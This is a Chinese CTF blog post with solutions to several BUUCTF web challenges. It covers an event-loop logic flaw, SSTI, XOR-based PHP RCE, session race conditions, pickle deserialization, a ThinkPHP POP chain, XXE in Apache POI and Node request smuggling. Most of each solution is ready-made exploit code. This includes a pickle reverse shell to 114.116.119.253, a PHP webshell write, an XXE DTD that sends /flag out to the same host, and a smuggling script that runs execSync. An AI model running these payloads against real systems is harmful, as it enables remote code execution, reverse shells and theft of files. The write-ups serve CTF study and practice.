html += '[INFO] you have {} diamonds, {} points now.
'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a>
'
html += '<a href="./?action:view;shop">Go to e-shop</a>
'
html += '<a href="./?action:view;reset">Reset</a>
'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a>
'
elif page == 'reset':
del session['num_items']
html += 'Session reset.
'
html += '<a href="./?action:view;index">Go back to index.html</a>
'
return html


def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a>
'
html += '<a href="./?action:view;index">Go back to index.html</a>
'

for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '
')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')


def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy
'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])


def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume


def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;)
'


def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')


直接甩一手源码,我们的主要目的是让diamonds等于5,然后getflag
image.png
可是只有3points,正常来说只可以有3个diamons,因此这一题就和题目说的一样,需要loop,我们需要仔细关注一下逻辑
image.png
程序入口接受了我们get传入的参数,然后送进trigger_event函数,我们观察看看
image.png
这里其实就是进行一个日志处理,将我们的event放入session里的log属性,如果超过5个就只取最后五个,然后往request.event_queue也加入event,最后进入execute_event_loop方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled.
'
resp += '<a href="./?action:view;index">Go back to index.html</a>
'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception as e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

这个函数是对参数的主要处理,会判断传入的参数是否为a开头,如果为a开头调用的就是对应的hanler反之func,这里传入的是?action=xxx因此肯定调用_handler,并且注意一下

1
2
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')

这两个分别是处理什么呢?如果我们传入我们的payload

1
action:trigger_event#;action:buy;5#action:get_flag;

image.png
action和args对应的就是上述结果,那我们首先调用trigger_event,这里为什么有个#呢,因为会加上_hanlder、_func这种脏字符,我们的目的是调用trigger_event()所以要注释掉,随后再retval那里调用的就是trigger_event(args),而args就是上述恶意构造的payload,这样的话随后又会执行buy_handler,这里有关buy方法有个逻辑漏洞
image.png
不管你钱是不是够,都会先加上,如果不够就减去,那我们现在需要想办法让get_flag在consume_point_function之前执行,而我们上面的恶意数组刚好就实现了这一点,因此会调用get_flag方法,此时由于逻辑漏洞,diamonds是5,所以会将flag输入session的log属性,最后解码得到flag
image.png
二次base64解码

[GWCTF 2019]你的名字

考点:简单的Python SSTI
{%print((lipsum.__globals__["__\x62uiltins__"])["ev\x61l"]("__imp\x6frt__('\x6fs').p\x6fpen")('cat /f*').read())%}

virink_2019_files_share

考点:任意文件读取
我甚至不想记录

[NESTCTF 2019]Love Math 2

考点:异或RCE
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
在这(is_nan^(6).(4)).(tan^(1).(5));表示_GET;(is_nan^(6).(4))表示_G,后半部分是ET
字符串is_nan和字符串64异或得到的结果就是那样,所以可以绕过。

[RootersCTF2019]ImgXweb

考点:JWT伪造
我都懒得说了,妈的我以为是啥题目,看了一圈,robots.txt告诉你key
然后伪造就得到了flag
但是你给了个上传点我以为是啥东西,乌鱼子

[BSidesCF 2020]Hurdles

脑瘫题目,你不会说中文吗。。。

[羊城杯 2020]Easyphp2

考点:webshell里的su使用,session条件竞争
感觉这题放在当时应该是一道挺硬核的题目,只可惜今非昔比
image.png
敏感file,任意文件读取,发现没啥用,猜测后端用的是include,所以session条件竞争,webshell写进去了,然后蚁剑连接
image.png
找了半天发现flag,还有一个README文件:
image.png
解码过后发现就是GWHTCTF,这应该是某个用户的密码,伪终端查看一手,发现flag.txt是没有权限的:
image.png
但是可以看到GWHT和root用户都有权限读取,然后结合前面的passwd,可以猜测是使用su指令切换用户读取,这里涉及到一个tips,就是webshell如何交互式输入passwd呢?这里我想到的是弹shell
image.png
结果证明可行

预期解

傻逼BUU靶场,我都不敢扫,诶也没办法,robots.txt有东西
Disallow: /?file=check.php
然后用filter协议可以读取源码,这里设计一个tips,就是双重url编码可以绕过filter的黑名单检测,刚刚卡在这儿了
/?file=php://filter/read=convert.%2562%2561%2573%2565%2536%2534-encode/resource=GWHT.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>count is here</title>

<style>

html,
body {
overflow: none;
max-height: 100vh;
}

</style>
</head>

<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">

<center><img src="question.jpg" height="200" width="200" /> </center>

<?php
ini_set('max_execution_time', 5);

if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>

<h1>A Counter is here, but it has someting wrong</h1>

<form>
<input type="hidden" value="GWHT.php" name="file">
<textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea>

<input type="submit">
</form>

<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>

</body>

</html>

同样读取check.php

1
2
3
4
5
6
<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";

header('Location: /');

然后改cookie的pass为GWHT
然后就可以执行exec指令,这里可以闭合语句达到写shell
file=GWHT.php&count='|echo+"<?=+eval(\$_POST['shell'])?>"+>+a.php'
然后就是上述流程了。
然后发现他们是用printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'直接执行。。。
贫穷限制了我的想象力

[watevrCTF-2019]Pickle Store

考点:pickle反序列化
挺迷惑的,看到是购买选项,以为要伪造JWT
但是看到了gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBFgUAAAAWXVtbXkgc23DtnJnw6VzZ3Vya2FxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAYWZjNWVjYjU5OWEyMjJhN2ZjYmNmNTQzZjI1MzY4Y2VxB3Uu
这样的敏感cookie,简单的解密后是这样子
image.png
这个让我想起了pickle的格式,我就试着去解密了一下:
image.png
正好是pickle,随后就直接来了一手反弹shell

1
2
3
4
5
6
7
import pickle
import base64
newp=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/114.116.119.253/7777 <&1"'
tR.'''
print(base64.b64encode(newp))

image.png

[2020 新春红包题]1

考点:TP5反序列化写shell模型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return $filename;
}

return null;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

这一题就是那个TP5反序列化写shell的模型,代码都没怎么变,具体可以参考
ThinkPHP5.x反序列化漏洞全复现
然后赵总写的挺清楚的
https://www.zhaoj.in/read-6397.html
放个预期解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class A {

protected $store;

protected $key;

protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
}

class B {
}
$testB = new B();
$testB->options['prefix'] = 'abc';
$testB->options['serialize'] = 'system';
$testB->options['data_compress'] = false;
$testB->options['expire'] = "aaa\n";
$testB->writeTimes = 0;
$testA = new A($testB, "miao");
$testA->autosave = false;
$testA->cache = ['aaq' => '`cat /flag > ./flag.php`'];
$testA->complete = true;

echo urlencode(serialize($testA))."\n";

非预期反而是上面说的thinkphp,感觉还行,由于最近吃了太多答辩不想调试着玩了

[网鼎杯 2020 青龙组]filejava

考点:xxe无回显外带、CVE-2014-3529
参考:
https://blog.csdn.net/jxq0816/article/details/46775769
Apache-Poi-XXE-Analysis - 先知社区
https://blog.csdn.net/weixin_50464560/article/details/122814159
上传文件的时候改一下文件名,带/就会报错,获取路径信息
image.png
接下来要做的就是任意文件读取了,这里是读取了web.xml文件

War包位置一般如下,读取之后可以得到主要class文件
image.png
image.png
我在这发现了个铭感的东西,这东西是用来处理excel表格的,随之就检索了一下看看会发生啥,是存在XXE注入的,但是没有回显,因此需要外带
首先准备POC,先在win上创建一个正常xlsx文件,然后拖到linux,改后缀为zip
image.png
然后直接unzip一手,会得到多个xml文件,我们需要修改的是[Content_Types].xml文件,内容如下:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://114.116.119.253:8000/poc.dtd">
%remote;%int;%send;
]>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default ContentType="application/vnd.openxmlformats-package.relationships+xml" Extension="rels"/><Default ContentType="application/xml" Extension="xml"/><Override ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml" PartName="/docProps/app.xml"/><Override ContentType="application/vnd.openxmlformats-package.core-properties+xml" PartName="/docProps/core.xml"/><Override ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml" PartName="/xl/sharedStrings.xml"/><Override ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" PartName="/xl/styles.xml"/><Override ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" PartName="/xl/workbook.xml"/><Override ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" PartName="/xl/worksheets/sheet1.xml"/></Types>

然后dtd内容如下:

1
2
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://114.116.119.253:8888?p=%file;'>">

这是经典无回显外带的组合拳(注意一下转义特殊字符),flag位置在class文件中告诉了,就是根目录,由于过滤了不能直接读,XXE帮我们外带了。
image.png
image.png
成功获取flag
2292797302_c29fd95e59616d66343b28b9ff14b929.jpg

[安洵杯 2019]iamthinking

考点:TP6反序列化RCE
然后靶场也坏了。

[GYCTF2020]Node Game

考点:Node8走私攻击,Pug模板规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive

{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="flag.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x

------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''

GET /anythingelse HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)


session = requests.Session()
session.trust_env = False
session.get('http://1e1f41d5-6909-4538-a4c1-be1020cc04a7.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
# response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg')
# print(response.text)



先放一个payload,这其实就是西湖论剑那个Node8走私,不做过多阐述,但是这个payload写的真好啊。。。
题目都没看就写了payload,题目如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});

app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}

}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}

var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})

一个上传,一个SSRF的地方,SSRF的地方就是我们触发走私的点,通过这个点让服务端自己上传一个恶意pub文件,因为题目只允许localhost访问上传点
然后就是pub模板规则
这个搜一下随便看看就好,在里面变量的声明和yaml文件格式很像,如下

1
2
- var x =1
- return x

这样的话访问页面就会看到1,然后还有个小坑,就是假如你想执行命令,你是不可以

1
- return require('child_process').execSync('ls')

不可以直接引用require,而是必须通过global.process的形式去加载child_process
原因的话可以参考:
image.png
image.png
image.png
PUG模板渲染是在Function方法里,在这个方法里也是不可以直接require的

[HarekazeCTF2019]Easy Notes

考点:PHPsession伪造;代码审计
image.png
image.png
红框对应的2点分别是可控的文件名和可控的文件内容,文件名采用的就是登录的的用户名,文件内容就是我们定义的title,但是要注意是会有脏数据的
image.png
因为是压缩包的形式,所以需要考虑前后脏数据,现在的思路如下
我们可以往用户session文件写入半自定义的内容,PHPSESS默认的序列化机制是php默认引擎,当sess文件内容为admin|b:1;时,就会判断为true
那么前后的脏数据咋办呢,我们可以通过类似闭合的手法来实现xxx|N;admin|b:1;xxx
image.png
一开始会把..替换为空,本意是为了防止目录穿越,可是当type为.时,那么文件名我们就可以控制为sess_-xxxxx的形式了
image.png
image.png
之后可以看到sess文件名字sess_-0290458e0c8555ed,我们把PHPSESSID的值改为-0290458e0c8555ed,即可获取flag!
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#BUUCTF#刷题记录